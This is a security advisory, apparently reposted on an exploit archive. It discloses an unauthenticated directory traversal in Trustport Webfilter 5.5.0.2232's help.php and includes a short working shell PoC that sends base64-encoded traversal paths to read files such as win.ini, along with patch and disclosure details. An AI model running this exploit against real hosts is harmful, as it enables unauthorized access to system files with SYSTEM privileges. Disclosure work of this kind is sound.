Trustport Webfilter 5.5.0.2232 - Directory Traversal Vulnerability

Trustport Webfilter Remote File Access Vulnerability
====================================================
 
Affected Product
----------------
 
Product Name: Trustport Webfilter
Product Version: 5.5.0.2232
Platform: Microsoft Windows
 
Product/Company Information
---------------------------
 
 From Trustports website:
 
     "An advanced solution for the protection and optimization of web
traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of
virus infections.
Contributes to protecting the reputation of your company."
 
Trustports website can be found at www.trustport.com
 
Vulnerability Description
-------------------------
 
A vulnerability exists within the help.php script, allowing an remote
attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.
 
In order to exploit this vulnerability, an attacker has to craft a
special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).
 
 
Exploit
-------
 
#!/bin/sh
#
# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./exploit.sh <IP> <path/filename>
# Example: ./exploit.sh 192.168.42.130 ../../../../../Windows/win.ini
 
# [email protected]
 
MY_IP=$1
MY_FILE=$(echo -n $2| base64)
MY_CONSOLEPORT='4849'
 
if [ $# -eq 0 ]
then
    echo "Usage: `basename $0` <ip> <path/filename>"
    exit
fi
 
echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client
-connect $MY_IP:$MY_CONSOLEPORT -quiet
 
Patch Information
-----------------
 
A patch is available from vendor.
Corrected Build is: 6.0.0.3033
 
Advisory Information
--------------------
 
http://www.oliverkarow.de/research/trustport.txt
 
History
-------
 
26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor

#  0day.today [2018-01-04]  #